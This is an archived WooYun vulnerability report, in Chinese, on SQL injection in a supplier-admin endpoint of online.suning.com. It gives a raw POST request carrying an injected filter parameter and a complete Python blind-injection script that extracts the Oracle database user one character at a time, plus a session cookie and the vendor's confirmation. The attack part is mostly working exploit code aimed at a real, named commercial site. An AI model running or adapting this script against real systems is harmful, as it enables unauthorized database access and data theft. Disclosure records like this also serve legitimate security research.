当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127282

漏洞标题:Suning某站点SQL注入漏洞(附验证脚本及脚本编写注意事项)

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: Coody

提交时间:2015-07-17 06:51

修复时间:2015-08-31 09:00

公开时间:2015-08-31 09:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-17: 细节已通知厂商并且等待厂商处理中
2015-07-17: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向核心白帽子及相关领域专家公开
2015-08-06: 细节向普通白帽子公开
2015-08-16: 细节向实习白帽子公开
2015-08-31: 细节向公众公开

简要描述:

1. 预祝{乌云峰会}圆满成功! 乌云:呱唧呱唧……
2. 编写python利用脚本时,不要使用url encode后的编码,因为 urllib.urlencode 方法替你做这件事情的.

详细说明:

漏洞站点:online.suning.com
测试代码:

POST /console/Service/supplieradmin/pageCustomer HTTP/1.1
Host: online.suning.com
Proxy-Connection: keep-alive
Content-Length: 158
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://online.suning.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://online.suning.com/console/Service/supplieradmin/customerIndex
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=47AED0C9FB5FC3E696D0A60817488B9D;
customerId=1&filterParams=+user_name++like+'%251%25'+&page=1&rows=20&sort=companyName&order=asc


漏洞成因:与服务端交互时,直接给参数赋值了sql语句,从而导致用户输入什么,服务端就会执行该sql语句。
直接使用验证脚本跑注入即可。
当前用户名称为“SUNING”

QQ图片20150717020031.png

漏洞证明:

利用脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Proxy-Connection':'keep-alive',
'Referer': 'http://online.suning.com/console/Service/supplieradmin/customerIndex',
'Cookie': 'JSESSIONID=47AED0C9FB5FC3E696D0A60817488B9D',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36'}
payloads = list(string.ascii_uppercase)
#payloads = list('T')
print 'start to retrive Oracle user:'
user = ''
for i in range(1,7):
for payload in payloads:
conn = httplib.HTTPConnection('online.suning.com', timeout=60)
params = {
'filterParams': "user_name like '%1%' and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)),
'page': '1',
'rows': '20',
'sort': 'companyName',
'order': 'asc',
'customerId':'',
}
#print urllib.urlencode(params)
conn.request(method='POST',
url='/console/Service/supplieradmin/pageCustomer',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read().decode('utf-8')
conn.close()
#print html_doc
print '.',
if html_doc.find(u'userName') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\nOracle user is', user

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-17 09:00

厂商回复:

感谢提交,稍后送卡。

最新状态:

暂无